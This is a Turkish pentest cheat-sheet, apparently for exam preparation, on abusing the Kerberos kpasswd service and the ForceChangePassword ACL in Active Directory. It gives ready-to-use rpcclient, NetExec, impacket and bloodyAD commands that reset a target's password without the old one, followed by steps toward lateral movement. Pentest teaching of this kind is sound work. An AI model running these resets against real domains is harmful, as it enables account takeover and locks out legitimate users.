FOOTHOLD Metodoloji Cheat-sheet
464

kpasswd (Kerberos parola degisimi)

ad

kpasswd (464/tcp+udp) Kerberos parola degistirme/ayarlama servisidir. Saldirgan acisindan onemi: User-Force-Change-Password (ForceChangePassword) ACL'ine sahip oldugun bir hedefin parolasini sifirlamak ya da bilinen parolayi degistirmek icin kullanilir - ACL abuse ve hesap ele gecirme zincirlerinin son adimi.

┌──

Komutlar

rpcclient ✓ EXAM-SAFE user
rpcclient -U '{{DOMAIN}}/{{USER}}%{{PASS}}' {{DC_IP}} -c 'setuserinfo2 TARGET_USER 23 NewP@ss123!'
ForceChangePassword (User-Force-Change-Password) ACL'in varsa hedef kullanicinin parolasini eski parolayi bilmeden sifirla. BloodHound'da bu kenar bulunduktan sonra calistir. The Hacker Recipes - ForceChangePassword / rpcclient setuserinfo2
netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M change-password -o USER=TARGET_USER NEWPASS=NewP@ss123!
NetExec change-password modulu ile hedefin parolasini sifirla/degistir (kpasswd/SAMR yolu). ForceChangePassword yetkisi gerekir. NetExec Wiki - change-password module
impacket ✓ EXAM-SAFE user
impacket-changepasswd '{{DOMAIN}}/TARGET_USER:OldP@ss@{{DC_IP}}' -newpass 'NewP@ss123!'
Bilinen ESKI parolayi yenisiyle degistir (kullanicinin kendi parolasini degistirmesi - 'password must change' durumunda da ise yarar). kpasswd protokolunu kullanir. WADComs - Impacket changepasswd
impacket ✓ EXAM-SAFE user
impacket-changepasswd '{{DOMAIN}}/TARGET_USER@{{DC_IP}}' -newpass 'NewP@ss123!' -reset -altuser '{{USER}}' -altpass '{{PASS}}'
ForceChangePassword ACL ile (eski parola bilmeden) hedefi -reset bayragiyla sifirla; -altuser/-altpass yetkili hesabini verir. WADComs - Impacket changepasswd reset
bloodyAD ✓ EXAM-SAFE user
bloodyAD -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --host {{DC_IP}} set password TARGET_USER 'NewP@ss123!'
bloodyAD ile parola sifirlama - GenericAll/ForceChangePassword/WriteProperty zincirlerinde temiz alternatif. The Hacker Recipes - bloodyAD set password

Port 464 - kpasswd (Kerberos Parola Degisimi)

Port 464, Kerberos’un parola degistirme/ayarlama servisidir. Recon’da pek ilgi cekmese de, ACL abuse zincirlerinin somut sonuca dondugu yerdir.

1. Neden Onemli - ForceChangePassword

BloodHound’da bir kullanicidan hedefe giden ForceChangePassword (User-Force-Change-Password) kenari gorursen, hedefin ESKI parolasini bilmeden parolasini sifirlayabilirsin. Bu, ad-acl-abuse teknigini dogrudan hesap ele gecirmeye cevirir ve sonra evil-winrm/psexec ile lateral movement (ad-lateral) yaparsin.

2. Iki Senaryo

  1. Reset (yetkiyle, eski parola bilinmeden): ForceChangePassword/GenericAll ACL’i ile rpcclient setuserinfo2 ... 23, impacket-changepasswd -reset, NetExec change-password, ya da bloodyAD set password.
  2. Change (kendi parolan, eski parola bilinerek): ‘password must change at next logon’ bayragi yenildiginde impacket-changepasswd ile eski->yeni degisimi. Bu, password spray ile bulunan ama ‘must change’ durumundaki hesaplar icin sik gereklidir.

3. Sira (prereq -> attack -> result)

  1. Prereq: BloodHound ile ForceChangePassword/GenericAll kenarini dogrula.
  2. Enum: hedef sAMAccountName’i ve DC’yi belirle.
  3. Attack: yukaridaki araclardan biriyle parolayi sifirla.
  4. Result: yeni credential ile nxc smb {{DC_IP}} -u TARGET_USER -p NewP@ss123! dogrula, sonra erisim/lateral movement.

Gotchalar

  • Parola politikasi (uzunluk/karmasiklik) yeni parolayi reddedebilir - guclu bir parola sec.
  • Hesabi sifirlamak gurultuludur ve gercek kullaniciyi kilitleyebilir; lab/yetkili pentest disinda dikkat.
  • ‘password must change’ hesaplar normal bind’de reddedilir ama changepasswd ile once degistirip sonra giris yapabilirsin.
  • Saat senkronizasyonu (clock skew) kpasswd icin de gecerlidir.
┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set